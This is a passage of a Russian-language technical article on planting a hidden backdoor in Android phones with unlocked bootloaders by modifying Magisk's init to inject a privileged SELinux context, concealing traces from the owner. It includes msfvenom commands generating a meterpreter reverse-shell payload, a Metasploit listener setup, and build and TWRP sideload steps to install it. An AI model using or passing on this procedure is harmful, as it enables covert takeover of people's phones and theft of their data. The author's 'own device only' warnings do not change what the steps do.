/sbin/.magisk/block/data /sbin/.magisk/mirror/data ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
/sbin/.magisk/block/data /sbin/.magisk/modules ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0

Можно поискать в файловой системе файлы, содержащие в названии magisk, и обнаружить исполняемые файлы:

$ find / -name "magisk" 2>/dev/null
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk

Ещё больше можно увидеть с root-правами:

$ su
# find / -name "*magisk*" 2>/dev/null
/storage/emulated/0/Android/data/com.topjohnwu.magisk
/storage/emulated/0/Android/media/com.topjohnwu.magisk
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
/sbin/.magisk/mirror/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/sbin/.magisk/mirror/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/cur/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/ref/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/user_de/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/sbin/.magisk/mirror/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/sbin/.magisk/mirror/data/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/adb/magisk.db
/sbin/.magisk/mirror/data/adb/magisk
/sbin/.magisk/mirror/data/adb/magisk/magiskinit64
/sbin/.magisk/mirror/data/adb/magisk/magiskboot
/sbin/.magisk/mirror/data/adb/magisk/magiskinit
/sbin/.magisk/mirror/data/media/0/Android/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/media/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/media/com.topjohnwu.magisk
/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/data/misc/profiles/cur/0/com.topjohnwu.magisk
/data/misc/profiles/ref/com.topjohnwu.magisk
/data/user_de/0/com.topjohnwu.magisk
/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/data/data/com.topjohnwu.magisk
/data/adb/magisk.db
/data/adb/magisk
/data/adb/magisk/magiskinit64
/data/adb/magisk/magiskboot
/data/adb/magisk/magiskinit
/data/media/0/Android/data/com.topjohnwu.magisk
/data/media/0/Android/media/com.topjohnwu.magisk
/config/sdcardfs/com.topjohnwu.magisk
/cache/magisk.log

Ещё magisk добавляет права на запись в некоторые места файловой системы, где этих прав явно быть не должно, и некоторые приложения для обнаружения root-прав обнаруживают его из-за этого.

Вообще-то, magisk очень хорошо умеет прятаться от других процессов с помощью сервиса MagiskHide, который умеет прятать все точки монтирования и даже заменять некоторые свойства в системе, однако от человека, который будет исследовать файловую систему устройства, особенно до загрузки системы, спрятаться не получится. Поэтому технически подкованный пользователь быстро обнаружит наличие magisk на своём устройстве. Для наших целей это не подходит, т.к. если мы будем обнаружены, данные будет не извлечь.

Это значит, что вместо грубой установки magisk нужно поступить красиво – необходимо разобраться с тем, как именно он закрепляется в системе и как заставляет init загрузить ненастоящие политики SELinux.

План таков: мы возьмём исходники magisk и соберём из них инструмент, который будет внедрять в систему всемогущий контекст u:r:magisk:s0, но больше не будет делать ничего. То есть наша задача сводится к тому, чтобы вместо magisk установить на устройство только политики magisk.

Для начала нам нужно понять как именно magisk внедряется в систему. Суть установки magisk в следующем:

• Установщик находит среди разделов на диске раздел boot

• Дампит раздел boot через nanddump в файл-образ и распаковывает его 

• Извлекает из него образ ramdisk

• Заменяет в образе ramdisk оригинальный исполняемый файл init на свой, заранее подготовленный – magiskinit

• Складывает оригинальный ramdisk с оригинальным init в бэкап который ложится рядом

• Если необходимо применяет дополнительные патчи, которые зависят от устройств и версии android

• Запаковывает образ boot раздела и прошивает его на место оригинального boot

• Бэкапит оригинальный boot раздел в /data

По окончанию мы получаем раздел boot, в котором во время запуска системы, между тем как ядро вызывает запуск процесса init и реальным запуском процесса init появляется окно, в котором magisk подготавливает всё необходимое для своей работы во время уже запущенной системы. 

Если очень грубо, то работает это так: magiskinit запускается, находит файл с политиками, патчит его добавляя в него политики необходимые для работы magisk после запуска системы, добавляет в init.rc записи которые запустят сервис magiskd во время загрузки системы после чего запускает оригинальный init, который загружает уже пропатченные политики вместо оригинальных, а далее загрузка происходит привычным образом. На деле, в этом процессе есть огромное множество нюансов.

Во-первых, ramdisk у нас доступен только на чтение. Мы не можем взять и переписать boot раздел по своему желанию, и применить изменения на постоянной основе, поэтому все манипуляции над файлами выполняются в ОЗУ, заново, при каждом запуске системы. 

Во-вторых, начиная с android 9, и далее в 10 и 11 очень сильно менялся подход к организации файловой системы во время работы устройства, организации хранения файла с политиками и вообще самого процесса запуска.

До android 9 скомпилированные политики SELinux всегда упаковывались в boot раздел и лежали прямо рядом с ядром, затем появился механизм split-policy, когда для каждого из основных разделов (system, vendor, иногда бывает ещё product), политики компилируются и хранятся отдельно. 

Для magiskinit это значит то, что при запуске ему нужно смонтировать все эти разделы, собрать оттуда отдельные файлы с политиками, распарсить, упаковать и сложить в единый файл, найти ему место в файловой системе (которое тоже зависит от многих факторов и версии android), после чего брутально пропатчить прямо в бинарном виде исполняемый файл init – найти место где в условной конструкции выбирается тип политики, принудительно заменить его со split-policy на mono-policy и заменить путь к файлу с политиками на тот что был получен в предыдущем шаге.

Бинарного файла init, пригодного для модификации может и не быть, потому что на некоторых устройствах есть 2SI – two-stage-init или двухэтапный запуск init. Это подход, в котором исходный init файл из ramdisk не запускает систему, вместо этого он монтирует раздел с системой и уже из него запускает /system/bin/init. В этом случае magiskinit придётся не менее брутально прямо в бинарном виде патчить libselinux в системном разделе.

А есть ещё в android подход system-as-root, который обязателен для сборок android 10+. От него зависит что именно будет корнем файловой системы ramdisk или system. И оба этих случая magiskinit обязан учитывать. А ещё в некоторых условиях на некоторых устройствах ramdisk может вообще отсутствовать.

Если интересно узнать подробнее, то разработчик magisk очень хорошо и доступно описал как устроены все эти хитросплетения с запуском init. Я полагаю, что для разработчиков magisk это чистая боль, если раньше процесс загрузки был достаточно единообразным и бесхитростным, то теперь разработчики magisk тратят огромные усилия чтобы подстраиваться под это, а учитывая темп выхода новых версий android, делать это очень непросто.

Тем не менее, для нашей задачи внутреннее устройство magiskinit интересует нас только для того, чтобы понять, как именно внедрить нужные нам изменения в скомпилированные политики и отбросить всё остальное. 

В исходниках нас будут интересовать в основном только файлы из директории init. Вкратце, список изменений которые были внесены в код:

• В методе main() в init.cpp удаляем вызовы методов dumpmagisk() и dumpmanager().

• В init.hpp обратим внимание на вызовы execinit() – это вызовы оригинального init. Перед ними во всех случаях кроме FirstStageInit добавим rmrf(«/.backup») чтобы скрыть соответствующую директорию, которая будет торчать в файловой системе работающего устройства. В FirstStageInit этого делать не нужно, т.к. этот вызов всё равно будет совершён во время второй стадии init.

• В mount.cpp нас будет интересовать метод setuptmp() который отвечает за создание tmpfs в файловой системе где будут храниться линки на исполняемые файлы magisk. Обычно в файловой системе это директория /sbin. Мы можем полностью удалить этот вызов для RootFSInit, т.к. моно-файл с политиками SELinux в этом случае находится прямо в ramdisk, и патчится прямо там же, но в андроид 10 и выше с приходом механизма split-policy именно туда в единый файл будут складываться собранные из всех разделов политики, поэтому нам, похоже, обязательно придётся её оставить, но мы можем вынести её в /dev. Начиная с android 11 этот подход становится в magisk основным, т.к. с android 11 наличие директории /sbin в файловой системе не гарантируется. Меняем режим tmpfs с 755 на 700 чтобы содержимое не мог посмотреть непривилегированный пользователь и не сработали root-чекеры которые проверяют наличие доступа на запись в подозрительных местах. Удаляем создание файлов и линков magisk в tmpdir. У меня не получилось полностью избавиться от tmpdir в android 10+ и сохранить работоспособность системы, но оно вроде бы и не проблема. Прочитать tmpfs без рута не получится, а название служебной директории можно поменять с .magisk на любое случайное.

• В rootdir.cpp удаляем код который патчит init.rc для запуска демона magisk в системе 

На выходе получаем нечто, что можно назвать magisk без magisk. Он будет патчить политики SELinux до запуска init, подкладывая туда всемогущий контекст u:r:magisk:s0, но на этом всё – никакого функционала root-прав и всего такого прочего.

Теперь можно начинать.

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell

И настроим слушатель:

$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk

$ ./buildrevshell.py

Собранные пакеты будут лежать в директории out. 

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания. 

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

$ adb shell
# ls -la /dev/block/by-name | grep boot
lrwxrwxrwx 1 root root 16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

$ ls -la /dev/block/by-name | grep dtb

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений: 

• Пожалуйста производите все действия только на своём устройстве

• Убедитесь что на устройстве нет важных данных которые страшно потерять

• Все действия выполняются на ваш страх и риск

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell 'twrp sideload'

$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство. 

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

$ fastboot boot twrp.img

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions

$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip